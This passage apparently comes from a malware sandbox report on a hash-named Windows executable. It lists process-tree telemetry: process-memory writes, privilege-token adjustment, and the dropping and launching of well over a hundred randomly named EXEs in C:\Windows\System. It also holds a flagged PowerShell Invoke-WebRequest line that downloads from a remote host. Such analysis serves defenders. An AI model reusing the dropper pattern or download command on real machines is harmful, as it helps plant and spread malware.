PID 4020 wrote to memory of 3604	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	114
PID 4020 wrote to memory of 2008	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	115
PID 4020 wrote to memory of 2008	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	115

C:\Users\Admin\AppData\Local\Temp\d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
"C:\Users\Admin\AppData\Local\Temp\d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2320
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2320 -s 3480
    3⤵
    PID:13232
- C:\Windows\System\YMoZgtC.exe
  C:\Windows\System\YMoZgtC.exe
  2⤵
  - Executes dropped EXE
  PID:3560
- C:\Windows\System\FAabJVr.exe
  C:\Windows\System\FAabJVr.exe
  2⤵
  - Executes dropped EXE
  PID:1336
- C:\Windows\System\FzEyVdB.exe
  C:\Windows\System\FzEyVdB.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\VNzqiei.exe
  C:\Windows\System\VNzqiei.exe
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Windows\System\utCspdG.exe
  C:\Windows\System\utCspdG.exe
  2⤵
  - Executes dropped EXE
  PID:3352
- C:\Windows\System\BtBVhWU.exe
  C:\Windows\System\BtBVhWU.exe
  2⤵
  - Executes dropped EXE
  PID:464
- C:\Windows\System\nneJUNs.exe
  C:\Windows\System\nneJUNs.exe
  2⤵
  - Executes dropped EXE
  PID:3544
- C:\Windows\System\mGNSKKv.exe
  C:\Windows\System\mGNSKKv.exe
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Windows\System\XGQxQRq.exe
  C:\Windows\System\XGQxQRq.exe
  2⤵
  - Executes dropped EXE
  PID:4708
- C:\Windows\System\rLHQiGm.exe
  C:\Windows\System\rLHQiGm.exe
  2⤵
  - Executes dropped EXE
  PID:3524
- C:\Windows\System\lSXbulT.exe
  C:\Windows\System\lSXbulT.exe
  2⤵
  - Executes dropped EXE
  PID:3236
- C:\Windows\System\jSgnvda.exe
  C:\Windows\System\jSgnvda.exe
  2⤵
  - Executes dropped EXE
  PID:1980
- C:\Windows\System\AtdpJog.exe
  C:\Windows\System\AtdpJog.exe
  2⤵
  - Executes dropped EXE
  PID:3152
- C:\Windows\System\TIktLkm.exe
  C:\Windows\System\TIktLkm.exe
  2⤵
  - Executes dropped EXE
  PID:436
- C:\Windows\System\iXUpSaH.exe
  C:\Windows\System\iXUpSaH.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\mOFmutv.exe
  C:\Windows\System\mOFmutv.exe
  2⤵
  - Executes dropped EXE
  PID:3980
- C:\Windows\System\kWbEKop.exe
  C:\Windows\System\kWbEKop.exe
  2⤵
  - Executes dropped EXE
  PID:116
- C:\Windows\System\rFvpLeQ.exe
  C:\Windows\System\rFvpLeQ.exe
  2⤵
  - Executes dropped EXE
  PID:1360
- C:\Windows\System\HKVkNQR.exe
  C:\Windows\System\HKVkNQR.exe
  2⤵
  - Executes dropped EXE
  PID:3496
- C:\Windows\System\GPumEAN.exe
  C:\Windows\System\GPumEAN.exe
  2⤵
  - Executes dropped EXE
  PID:4620
- C:\Windows\System\ytjwRLZ.exe
  C:\Windows\System\ytjwRLZ.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\gtyVJoX.exe
  C:\Windows\System\gtyVJoX.exe
  2⤵
  - Executes dropped EXE
  PID:1804
- C:\Windows\System\HOyizoN.exe
  C:\Windows\System\HOyizoN.exe
  2⤵
  - Executes dropped EXE
  PID:4196
- C:\Windows\System\XRvfoYb.exe
  C:\Windows\System\XRvfoYb.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\IEhGbfQ.exe
  C:\Windows\System\IEhGbfQ.exe
  2⤵
  - Executes dropped EXE
  PID:3824
- C:\Windows\System\BvYCQWJ.exe
  C:\Windows\System\BvYCQWJ.exe
  2⤵
  - Executes dropped EXE
  PID:3028
- C:\Windows\System\uEjdbGO.exe
  C:\Windows\System\uEjdbGO.exe
  2⤵
  - Executes dropped EXE
  PID:4408
- C:\Windows\System\HVmpgSh.exe
  C:\Windows\System\HVmpgSh.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\okZsnLK.exe
  C:\Windows\System\okZsnLK.exe
  2⤵
  - Executes dropped EXE
  PID:3620
- C:\Windows\System\tjZBdRE.exe
  C:\Windows\System\tjZBdRE.exe
  2⤵
  - Executes dropped EXE
  PID:3604
- C:\Windows\System\ZzQEvCG.exe
  C:\Windows\System\ZzQEvCG.exe
  2⤵
  - Executes dropped EXE
  PID:2008
- C:\Windows\System\uwZKBBX.exe
  C:\Windows\System\uwZKBBX.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\dhSHGhE.exe
  C:\Windows\System\dhSHGhE.exe
  2⤵
  - Executes dropped EXE
  PID:3412
- C:\Windows\System\zBxLEIs.exe
  C:\Windows\System\zBxLEIs.exe
  2⤵
  - Executes dropped EXE
  PID:1388
- C:\Windows\System\aPpYLkb.exe
  C:\Windows\System\aPpYLkb.exe
  2⤵
  - Executes dropped EXE
  PID:4916
- C:\Windows\System\AhfWuro.exe
  C:\Windows\System\AhfWuro.exe
  2⤵
  - Executes dropped EXE
  PID:3896
- C:\Windows\System\JaTOiUt.exe
  C:\Windows\System\JaTOiUt.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Windows\System\whNsaAu.exe
  C:\Windows\System\whNsaAu.exe
  2⤵
  - Executes dropped EXE
  PID:928
- C:\Windows\System\lXXagnL.exe
  C:\Windows\System\lXXagnL.exe
  2⤵
  - Executes dropped EXE
  PID:4232
- C:\Windows\System\bfquXHg.exe
  C:\Windows\System\bfquXHg.exe
  2⤵
  - Executes dropped EXE
  PID:1272
- C:\Windows\System\CprcWxU.exe
  C:\Windows\System\CprcWxU.exe
  2⤵
  - Executes dropped EXE
  PID:4024
- C:\Windows\System\dQCqkWQ.exe
  C:\Windows\System\dQCqkWQ.exe
  2⤵
  - Executes dropped EXE
  PID:604
- C:\Windows\System\yTbzlTr.exe
  C:\Windows\System\yTbzlTr.exe
  2⤵
  - Executes dropped EXE
  PID:3848
- C:\Windows\System\qcIUswP.exe
  C:\Windows\System\qcIUswP.exe
  2⤵
  - Executes dropped EXE
  PID:2676
- C:\Windows\System\rBDxhbV.exe
  C:\Windows\System\rBDxhbV.exe
  2⤵
  - Executes dropped EXE
  PID:740
- C:\Windows\System\gHIDkTX.exe
  C:\Windows\System\gHIDkTX.exe
  2⤵
  - Executes dropped EXE
  PID:860
- C:\Windows\System\hiUpgqt.exe
  C:\Windows\System\hiUpgqt.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\RqBoMOd.exe
  C:\Windows\System\RqBoMOd.exe
  2⤵
  - Executes dropped EXE
  PID:1068
- C:\Windows\System\tRhGRjo.exe
  C:\Windows\System\tRhGRjo.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\VmLphTQ.exe
  C:\Windows\System\VmLphTQ.exe
  2⤵
  - Executes dropped EXE
  PID:3576
- C:\Windows\System\duokMpu.exe
  C:\Windows\System\duokMpu.exe
  2⤵
  - Executes dropped EXE
  PID:4424
- C:\Windows\System\fpyjRGG.exe
  C:\Windows\System\fpyjRGG.exe
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Windows\System\BMlwFNO.exe
  C:\Windows\System\BMlwFNO.exe
  2⤵
  - Executes dropped EXE
  PID:3336
- C:\Windows\System\oKlXviq.exe
  C:\Windows\System\oKlXviq.exe
  2⤵
  - Executes dropped EXE
  PID:3928
- C:\Windows\System\qGTpcUS.exe
  C:\Windows\System\qGTpcUS.exe
  2⤵
  - Executes dropped EXE
  PID:2496
- C:\Windows\System\YKNDdDv.exe
  C:\Windows\System\YKNDdDv.exe
  2⤵
  - Executes dropped EXE
  PID:5112
- C:\Windows\System\SYPakbl.exe
  C:\Windows\System\SYPakbl.exe
  2⤵
  - Executes dropped EXE
  PID:4748
- C:\Windows\System\CliAQZz.exe
  C:\Windows\System\CliAQZz.exe
  2⤵
  - Executes dropped EXE
  PID:1208
- C:\Windows\System\Kqymfhr.exe
  C:\Windows\System\Kqymfhr.exe
  2⤵
  - Executes dropped EXE
  PID:4732
- C:\Windows\System\IBMvDNB.exe
  C:\Windows\System\IBMvDNB.exe
  2⤵
  - Executes dropped EXE
  PID:4688
- C:\Windows\System\vvggeXW.exe
  C:\Windows\System\vvggeXW.exe
  2⤵
  PID:4908
- C:\Windows\System\QOJRTHG.exe
  C:\Windows\System\QOJRTHG.exe
  2⤵
  - Executes dropped EXE
  PID:1868
- C:\Windows\System\gPgwddB.exe
  C:\Windows\System\gPgwddB.exe
  2⤵
  PID:4596
- C:\Windows\System\RiqamOS.exe
  C:\Windows\System\RiqamOS.exe
  2⤵
  - Executes dropped EXE
  PID:1976
- C:\Windows\System\gGCCitW.exe
  C:\Windows\System\gGCCitW.exe
  2⤵
  - Executes dropped EXE
  PID:3464
- C:\Windows\System\WjfsmcU.exe
  C:\Windows\System\WjfsmcU.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\sOSgBLn.exe
  C:\Windows\System\sOSgBLn.exe
  2⤵
  PID:1752
- C:\Windows\System\yIcvfNm.exe
  C:\Windows\System\yIcvfNm.exe
  2⤵
  PID:4820
- C:\Windows\System\MPDpGTm.exe
  C:\Windows\System\MPDpGTm.exe
  2⤵
  PID:1256
- C:\Windows\System\jtpDJeD.exe
  C:\Windows\System\jtpDJeD.exe
  2⤵
  PID:2976
- C:\Windows\System\YpMXAnm.exe
  C:\Windows\System\YpMXAnm.exe
  2⤵
  PID:632
- C:\Windows\System\ALJpivS.exe
  C:\Windows\System\ALJpivS.exe
  2⤵
  PID:4180
- C:\Windows\System\lUZCzba.exe
  C:\Windows\System\lUZCzba.exe
  2⤵
  PID:4740
- C:\Windows\System\BXFhbhc.exe
  C:\Windows\System\BXFhbhc.exe
  2⤵
  PID:4808
- C:\Windows\System\MABjWzB.exe
  C:\Windows\System\MABjWzB.exe
  2⤵
  PID:2664
- C:\Windows\System\CdPRZqm.exe
  C:\Windows\System\CdPRZqm.exe
  2⤵
  PID:4988
- C:\Windows\System\GiYzJjk.exe
  C:\Windows\System\GiYzJjk.exe
  2⤵
  PID:4816
- C:\Windows\System\qidCrgQ.exe
  C:\Windows\System\qidCrgQ.exe
  2⤵
  PID:3296
- C:\Windows\System\nGaIFPv.exe
  C:\Windows\System\nGaIFPv.exe
  2⤵
  PID:1072
- C:\Windows\System\GQqIUaF.exe
  C:\Windows\System\GQqIUaF.exe
  2⤵
  PID:1440
- C:\Windows\System\nRnKHxl.exe
  C:\Windows\System\nRnKHxl.exe
  2⤵
  PID:3860
- C:\Windows\System\uitdsXg.exe
  C:\Windows\System\uitdsXg.exe
  2⤵
  PID:2316
- C:\Windows\System\SpynANf.exe
  C:\Windows\System\SpynANf.exe
  2⤵
  PID:2260
- C:\Windows\System\RoibBqs.exe
  C:\Windows\System\RoibBqs.exe
  2⤵
  PID:4800
- C:\Windows\System\Ocfiquz.exe
  C:\Windows\System\Ocfiquz.exe
  2⤵
  PID:4152
- C:\Windows\System\WaPREmz.exe
  C:\Windows\System\WaPREmz.exe
  2⤵
  PID:4600
- C:\Windows\System\JaDGPdY.exe
  C:\Windows\System\JaDGPdY.exe
  2⤵
  PID:5132
- C:\Windows\System\jELwhri.exe
  C:\Windows\System\jELwhri.exe
  2⤵
  PID:5152
- C:\Windows\System\arpidGV.exe
  C:\Windows\System\arpidGV.exe
  2⤵
  PID:5172
- C:\Windows\System\KGbaaoD.exe
  C:\Windows\System\KGbaaoD.exe
  2⤵
  PID:5216
- C:\Windows\System\wAzJgDc.exe
  C:\Windows\System\wAzJgDc.exe
  2⤵
  PID:5264
- C:\Windows\System\yCgqpNO.exe
  C:\Windows\System\yCgqpNO.exe
  2⤵
  PID:5288
- C:\Windows\System\kZBjHrB.exe
  C:\Windows\System\kZBjHrB.exe
  2⤵
  PID:5308
- C:\Windows\System\AvqpBYL.exe
  C:\Windows\System\AvqpBYL.exe
  2⤵
  PID:5336
- C:\Windows\System\ZXZhEAP.exe
  C:\Windows\System\ZXZhEAP.exe
  2⤵
  PID:5360
- C:\Windows\System\LbCSiOv.exe
  C:\Windows\System\LbCSiOv.exe
  2⤵
  PID:5376
- C:\Windows\System\nDuCLpT.exe
  C:\Windows\System\nDuCLpT.exe
  2⤵
  PID:5408
- C:\Windows\System\WxBzMJB.exe
  C:\Windows\System\WxBzMJB.exe
  2⤵
  PID:5440
- C:\Windows\System\PCLifGY.exe
  C:\Windows\System\PCLifGY.exe
  2⤵
  PID:5456
- C:\Windows\System\fLZIaiv.exe
  C:\Windows\System\fLZIaiv.exe
  2⤵
  PID:5472
- C:\Windows\System\YDlcxCE.exe
  C:\Windows\System\YDlcxCE.exe
  2⤵
  PID:5500
- C:\Windows\System\YwOYlVg.exe
  C:\Windows\System\YwOYlVg.exe
  2⤵
  PID:5536
- C:\Windows\System\WjhvJPu.exe
  C:\Windows\System\WjhvJPu.exe
  2⤵
  PID:5556
- C:\Windows\System\DBFnzCE.exe
  C:\Windows\System\DBFnzCE.exe
  2⤵
  PID:5596
- C:\Windows\System\fDUdixV.exe
  C:\Windows\System\fDUdixV.exe
  2⤵
  PID:5624
- C:\Windows\System\nXovbZE.exe
  C:\Windows\System\nXovbZE.exe
  2⤵
  PID:5664
- C:\Windows\System\SUqUCEk.exe
  C:\Windows\System\SUqUCEk.exe
  2⤵
  PID:5704
- C:\Windows\System\bAmKSgs.exe
  C:\Windows\System\bAmKSgs.exe
  2⤵
  PID:5732
- C:\Windows\System\fSNShcx.exe
  C:\Windows\System\fSNShcx.exe
  2⤵
  PID:5752
- C:\Windows\System\TiFLFep.exe
  C:\Windows\System\TiFLFep.exe
  2⤵
  PID:5780
- C:\Windows\System\zgMOibw.exe
  C:\Windows\System\zgMOibw.exe
  2⤵
  PID:5804
- C:\Windows\System\mGbfsGp.exe
  C:\Windows\System\mGbfsGp.exe
  2⤵
  PID:5840
- C:\Windows\System\jfvuMRI.exe
  C:\Windows\System\jfvuMRI.exe
  2⤵
  PID:5860
- C:\Windows\System\rnIoOWQ.exe
  C:\Windows\System\rnIoOWQ.exe
  2⤵
  PID:5884
- C:\Windows\System\uRRGjzp.exe
  C:\Windows\System\uRRGjzp.exe
  2⤵
  PID:5908
- C:\Windows\System\MFxpRQk.exe
  C:\Windows\System\MFxpRQk.exe
  2⤵
  PID:5932
- C:\Windows\System\NdOrwkD.exe
  C:\Windows\System\NdOrwkD.exe
  2⤵
  PID:5948
- C:\Windows\System\wWZVswZ.exe
  C:\Windows\System\wWZVswZ.exe
  2⤵
  PID:5972
- C:\Windows\System\MroNAGz.exe
  C:\Windows\System\MroNAGz.exe
  2⤵
  PID:5988
- C:\Windows\System\PRYGRni.exe
  C:\Windows\System\PRYGRni.exe
  2⤵
  PID:6016
- C:\Windows\System\MsLlSVE.exe
  C:\Windows\System\MsLlSVE.exe
  2⤵
  PID:6040
- C:\Windows\System\bSKBkWY.exe
  C:\Windows\System\bSKBkWY.exe
  2⤵
  PID:6056
- C:\Windows\System\AIfODFL.exe
  C:\Windows\System\AIfODFL.exe
  2⤵
  PID:6080
- C:\Windows\System\LfmPsnT.exe
  C:\Windows\System\LfmPsnT.exe
  2⤵
  PID:6096
- C:\Windows\System\JZPrbdR.exe
  C:\Windows\System\JZPrbdR.exe
  2⤵
  PID:6132
- C:\Windows\System\jPudLMC.exe
  C:\Windows\System\jPudLMC.exe
  2⤵
  PID:2556
- C:\Windows\System\GSGjsUE.exe
  C:\Windows\System\GSGjsUE.exe
  2⤵
  PID:1408
- C:\Windows\System\GfQepiA.exe
  C:\Windows\System\GfQepiA.exe
  2⤵
  PID:3832
- C:\Windows\System\gPUihqM.exe
  C:\Windows\System\gPUihqM.exe
  2⤵
  PID:2204
- C:\Windows\System\cvPvCDl.exe
  C:\Windows\System\cvPvCDl.exe
  2⤵
  PID:4828
- C:\Windows\System\PyPdlWs.exe
  C:\Windows\System\PyPdlWs.exe
  2⤵
  PID:2876
- C:\Windows\System\yhULdgc.exe
  C:\Windows\System\yhULdgc.exe
  2⤵
  PID:4672
- C:\Windows\System\IzpQWRS.exe
  C:\Windows\System\IzpQWRS.exe
  2⤵
  PID:3864
- C:\Windows\System\QoJpzTg.exe
  C:\Windows\System\QoJpzTg.exe
  2⤵
  PID:1116
- C:\Windows\System\hOSYdCm.exe
  C:\Windows\System\hOSYdCm.exe
  2⤵
  PID:4756
- C:\Windows\System\uBjNhTx.exe
  C:\Windows\System\uBjNhTx.exe
  2⤵
  PID:5144
- C:\Windows\System\ikZODpc.exe
  C:\Windows\System\ikZODpc.exe
  2⤵
  PID:4312
- C:\Windows\System\cEpMfif.exe
  C:\Windows\System\cEpMfif.exe
  2⤵
  PID:2824
- C:\Windows\System\sHldpUT.exe
  C:\Windows\System\sHldpUT.exe
  2⤵
  PID:5296
- C:\Windows\System\vHKTLwE.exe
  C:\Windows\System\vHKTLwE.exe
  2⤵
  PID:1784
- C:\Windows\System\pPNiAhs.exe
  C:\Windows\System\pPNiAhs.exe
  2⤵
  PID:3448
- C:\Windows\System\DfrDlNM.exe
  C:\Windows\System\DfrDlNM.exe
  2⤵
  PID:5096
- C:\Windows\System\QoBndeB.exe
  C:\Windows\System\QoBndeB.exe
  2⤵
  PID:4612
- C:\Windows\System\vyBMYBz.exe
  C:\Windows\System\vyBMYBz.exe
  2⤵
  PID:5192
- C:\Windows\System\GGbFIXw.exe
  C:\Windows\System\GGbFIXw.exe
  2⤵
  PID:5452
- C:\Windows\System\yfJmBnY.exe
  C:\Windows\System\yfJmBnY.exe
  2⤵
  PID:3592
- C:\Windows\System\OgFQPke.exe
  C:\Windows\System\OgFQPke.exe
  2⤵
  PID:3332
- C:\Windows\System\bUmPQsZ.exe
  C:\Windows\System\bUmPQsZ.exe
  2⤵
  PID:5684
- C:\Windows\System\johWScZ.exe
  C:\Windows\System\johWScZ.exe
  2⤵
  PID:5700
- C:\Windows\System\uthdwgc.exe
  C:\Windows\System\uthdwgc.exe
  2⤵
  PID:5748
- C:\Windows\System\asQuniy.exe
  C:\Windows\System\asQuniy.exe
  2⤵
  PID:5816
- C:\Windows\System\wrlyFRo.exe
  C:\Windows\System\wrlyFRo.exe
  2⤵
  PID:5852
- C:\Windows\System\UIlNwjZ.exe
  C:\Windows\System\UIlNwjZ.exe
  2⤵
  PID:5868
- C:\Windows\System\AtcAsUd.exe
  C:\Windows\System\AtcAsUd.exe
  2⤵
  PID:5184
- C:\Windows\System\rRYiRem.exe
  C:\Windows\System\rRYiRem.exe
  2⤵
  PID:5996
- C:\Windows\System\IlBHeiB.exe
  C:\Windows\System\IlBHeiB.exe
  2⤵
  PID:5252
- C:\Windows\System\WIeNvus.exe
  C:\Windows\System\WIeNvus.exe
  2⤵
  PID:5516
- C:\Windows\System\TxmpZrE.exe
  C:\Windows\System\TxmpZrE.exe
  2⤵
  PID:5528
- C:\Windows\System\tuVSikl.exe
  C:\Windows\System\tuVSikl.exe
  2⤵
  PID:1828
- C:\Windows\System\mOwPHuP.exe
  C:\Windows\System\mOwPHuP.exe
  2⤵
  PID:2392
- C:\Windows\System\vTuoJbM.exe
  C:\Windows\System\vTuoJbM.exe
  2⤵
  PID:5652
- C:\Windows\System\rBcoPRK.exe
  C:\Windows\System\rBcoPRK.exe
  2⤵
  PID:2064
- C:\Windows\System\BbHRHra.exe
  C:\Windows\System\BbHRHra.exe
  2⤵
  PID:5760
- C:\Windows\System\dnQLGNR.exe
  C:\Windows\System\dnQLGNR.exe
  2⤵
  PID:4468
- C:\Windows\System\ABsQHPi.exe
  C:\Windows\System\ABsQHPi.exe
  2⤵
  PID:5900
- C:\Windows\System\CGYwxSU.exe
  C:\Windows\System\CGYwxSU.exe
  2⤵
  PID:6164
- C:\Windows\System\GhzMGEk.exe
  C:\Windows\System\GhzMGEk.exe
  2⤵
  PID:6184
- C:\Windows\System\snCWRDP.exe
  C:\Windows\System\snCWRDP.exe
  2⤵
  PID:6204
- C:\Windows\System\UNRhLRQ.exe
  C:\Windows\System\UNRhLRQ.exe
  2⤵
  PID:6228
- C:\Windows\System\KbFHYSU.exe
  C:\Windows\System\KbFHYSU.exe
  2⤵
  PID:6244
- C:\Windows\System\KhDCHkk.exe
  C:\Windows\System\KhDCHkk.exe
  2⤵
  PID:6272
- C:\Windows\System\cPVsBwi.exe
  C:\Windows\System\cPVsBwi.exe
  2⤵
  PID:6288
- C:\Windows\System\BIRQzKh.exe
  C:\Windows\System\BIRQzKh.exe
  2⤵
  PID:6312
- C:\Windows\System\cULkzeK.exe
  C:\Windows\System\cULkzeK.exe
  2⤵
  PID:6332
- C:\Windows\System\JatLQmt.exe
  C:\Windows\System\JatLQmt.exe
  2⤵
  PID:6356
- C:\Windows\System\TfsvyJt.exe
  C:\Windows\System\TfsvyJt.exe
  2⤵
  PID:6372
- C:\Windows\System\XYiCQHZ.exe
  C:\Windows\System\XYiCQHZ.exe
  2⤵
  PID:6396
- C:\Windows\System\lVAvung.exe
  C:\Windows\System\lVAvung.exe
  2⤵
  PID:6412
- C:\Windows\System\VkvJYMv.exe
  C:\Windows\System\VkvJYMv.exe
  2⤵
  PID:6436
- C:\Windows\System\HAnLSeE.exe
  C:\Windows\System\HAnLSeE.exe
  2⤵
  PID:6456
- C:\Windows\System\LrFQeqb.exe
  C:\Windows\System\LrFQeqb.exe
  2⤵
  PID:6480
- C:\Windows\System\yFNTaix.exe
  C:\Windows\System\yFNTaix.exe
  2⤵
  PID:6496
- C:\Windows\System\lzdVtWN.exe
  C:\Windows\System\lzdVtWN.exe
  2⤵
  PID:6516
- C:\Windows\System\ORCQZCU.exe
  C:\Windows\System\ORCQZCU.exe
  2⤵
  PID:6552
- C:\Windows\System\aLPoKkt.exe
  C:\Windows\System\aLPoKkt.exe
  2⤵
  PID:6572
- C:\Windows\System\OIAzbig.exe
  C:\Windows\System\OIAzbig.exe
  2⤵
  PID:6596
- C:\Windows\System\YvCsNwY.exe
  C:\Windows\System\YvCsNwY.exe
  2⤵
  PID:6616
- C:\Windows\System\kofETdw.exe
  C:\Windows\System\kofETdw.exe
  2⤵
  PID:6636
- C:\Windows\System\lQQfaqM.exe
  C:\Windows\System\lQQfaqM.exe
  2⤵
  PID:6660
- C:\Windows\System\NDrlUWh.exe
  C:\Windows\System\NDrlUWh.exe
  2⤵
  PID:6676
- C:\Windows\System\cAxdRUO.exe
  C:\Windows\System\cAxdRUO.exe
  2⤵
  PID:6704
- C:\Windows\System\tYQUPxL.exe
  C:\Windows\System\tYQUPxL.exe
  2⤵
  PID:6724
- C:\Windows\System\CfmqOfI.exe
  C:\Windows\System\CfmqOfI.exe
  2⤵
  PID:6744
- C:\Windows\System\zoFHRby.exe
  C:\Windows\System\zoFHRby.exe
  2⤵
  PID:6776
- C:\Windows\System\YjmnUBd.exe
  C:\Windows\System\YjmnUBd.exe
  2⤵
  PID:6812
- C:\Windows\System\KNEHdzt.exe
  C:\Windows\System\KNEHdzt.exe
  2⤵
  PID:6832
- C:\Windows\System\NjuQCRD.exe
  C:\Windows\System\NjuQCRD.exe
  2⤵
  PID:6856
- C:\Windows\System\cdZPlRX.exe
  C:\Windows\System\cdZPlRX.exe
  2⤵
  PID:6872
- C:\Windows\System\YiEEMOI.exe
  C:\Windows\System\YiEEMOI.exe
  2⤵
  PID:6896
- C:\Windows\System\iLnHPiJ.exe
  C:\Windows\System\iLnHPiJ.exe
  2⤵
  PID:6920
- C:\Windows\System\SCyOofE.exe
  C:\Windows\System\SCyOofE.exe
  2⤵
  PID:6936
- C:\Windows\System\vqKMGbp.exe
  C:\Windows\System\vqKMGbp.exe
  2⤵
  PID:6964
- C:\Windows\System\FywQksN.exe
  C:\Windows\System\FywQksN.exe
  2⤵
  PID:6980
- C:\Windows\System\vDowXDk.exe
  C:\Windows\System\vDowXDk.exe
  2⤵
  PID:7004
- C:\Windows\System\aVEnCNw.exe
  C:\Windows\System\aVEnCNw.exe
  2⤵
  PID:7020
- C:\Windows\System\oWtXvDO.exe
  C:\Windows\System\oWtXvDO.exe
  2⤵
  PID:7044
- C:\Windows\System\vBsNjwe.exe
  C:\Windows\System\vBsNjwe.exe
  2⤵
  PID:7068
- C:\Windows\System\huKpcGG.exe
  C:\Windows\System\huKpcGG.exe
  2⤵
  PID:7092
- C:\Windows\System\VKnXTmA.exe
  C:\Windows\System\VKnXTmA.exe
  2⤵
  PID:7108
- C:\Windows\System\gBcoIxA.exe
  C:\Windows\System\gBcoIxA.exe
  2⤵
  PID:7128
- C:\Windows\System\HjiegSo.exe
  C:\Windows\System\HjiegSo.exe
  2⤵
  PID:7148
- C:\Windows\System\cuHPTvo.exe
  C:\Windows\System\cuHPTvo.exe
  2⤵
  PID:5420
- C:\Windows\System\tkVIeZg.exe
  C:\Windows\System\tkVIeZg.exe
  2⤵
  PID:3460
- C:\Windows\System\CvHMAPU.exe
  C:\Windows\System\CvHMAPU.exe
  2⤵
  PID:5964
- C:\Windows\System\nusKRjB.exe
  C:\Windows\System\nusKRjB.exe
  2⤵
  PID:4412
- C:\Windows\System\WyuPsNu.exe
  C:\Windows\System\WyuPsNu.exe
  2⤵
  PID:5168
- C:\Windows\System\lYNrpwP.exe
  C:\Windows\System\lYNrpwP.exe
  2⤵
  PID:5632
- C:\Windows\System\YxHfdLE.exe
  C:\Windows\System\YxHfdLE.exe
  2⤵
  PID:6072
- C:\Windows\System\zjIhKEA.exe
  C:\Windows\System\zjIhKEA.exe
  2⤵
  PID:5776
- C:\Windows\System\lbbHdCz.exe
  C:\Windows\System\lbbHdCz.exe
  2⤵
  PID:4880
- C:\Windows\System\cSKgiEw.exe
  C:\Windows\System\cSKgiEw.exe
  2⤵
  PID:6216
- C:\Windows\System\EaHgHTA.exe
  C:\Windows\System\EaHgHTA.exe
  2⤵
  PID:5928
- C:\Windows\System\ILmKSsm.exe
  C:\Windows\System\ILmKSsm.exe
  2⤵
  PID:6392
- C:\Windows\System\JZdpHoH.exe
  C:\Windows\System\JZdpHoH.exe
  2⤵
  PID:4428
- C:\Windows\System\nSuWkUn.exe
  C:\Windows\System\nSuWkUn.exe
  2⤵
  PID:6032
- C:\Windows\System\QClPKjM.exe
  C:\Windows\System\QClPKjM.exe
  2⤵
  PID:5692
- C:\Windows\System\wPsKVzf.exe
  C:\Windows\System\wPsKVzf.exe
  2⤵
  PID:6840
- C:\Windows\System\BKKUYNI.exe
  C:\Windows\System\BKKUYNI.exe
  2⤵
  PID:5788
- C:\Windows\System\efqZoug.exe
  C:\Windows\System\efqZoug.exe
  2⤵
  PID:6488
- C:\Windows\System\kbWnCYm.exe
  C:\Windows\System\kbWnCYm.exe
  2⤵
  PID:7172
- C:\Windows\System\RaJVVeT.exe
  C:\Windows\System\RaJVVeT.exe
  2⤵
  PID:7196
- C:\Windows\System\zCJbPLv.exe
  C:\Windows\System\zCJbPLv.exe
  2⤵
  PID:7212
- C:\Windows\System\nYagMHV.exe
  C:\Windows\System\nYagMHV.exe
  2⤵
  PID:7236
- C:\Windows\System\XfEUdBh.exe
  C:\Windows\System\XfEUdBh.exe
  2⤵
  PID:7260
- C:\Windows\System\wnvXHPc.exe
  C:\Windows\System\wnvXHPc.exe
  2⤵
  PID:7280
- C:\Windows\System\gdsVNVL.exe
  C:\Windows\System\gdsVNVL.exe
  2⤵
  PID:7304
- C:\Windows\System\oWTzNEt.exe
  C:\Windows\System\oWTzNEt.exe
  2⤵
  PID:7324
- C:\Windows\System\wIkEqGJ.exe
  C:\Windows\System\wIkEqGJ.exe
  2⤵
  PID:7348
- C:\Windows\System\CmiHINI.exe
  C:\Windows\System\CmiHINI.exe
  2⤵
  PID:7364
- C:\Windows\System\OZWJMqN.exe
  C:\Windows\System\OZWJMqN.exe
  2⤵
  PID:7384
- C:\Windows\System\nHEChWd.exe
  C:\Windows\System\nHEChWd.exe
  2⤵
  PID:7408
- C:\Windows\System\dndNZCw.exe
  C:\Windows\System\dndNZCw.exe
  2⤵
  PID:7428
- C:\Windows\System\EkvHefK.exe
  C:\Windows\System\EkvHefK.exe
  2⤵
  PID:7448
- C:\Windows\System\GaCFkBJ.exe
  C:\Windows\System\GaCFkBJ.exe
  2⤵
  PID:7464
- C:\Windows\System\eOOfemT.exe
  C:\Windows\System\eOOfemT.exe
  2⤵
  PID:7488
- C:\Windows\System\zeZAuFI.exe
  C:\Windows\System\zeZAuFI.exe
  2⤵
  PID:7516
- C:\Windows\System\JxmMPaG.exe
  C:\Windows\System\JxmMPaG.exe
  2⤵
  PID:7536
- C:\Windows\System\rFBTXkz.exe
  C:\Windows\System\rFBTXkz.exe
  2⤵
  PID:7560
- C:\Windows\System\KpvjHfH.exe
  C:\Windows\System\KpvjHfH.exe
  2⤵
  PID:7596
- C:\Windows\System\WydQqoR.exe
  C:\Windows\System\WydQqoR.exe
  2⤵
  PID:7612
- C:\Windows\System\FnzsTCQ.exe
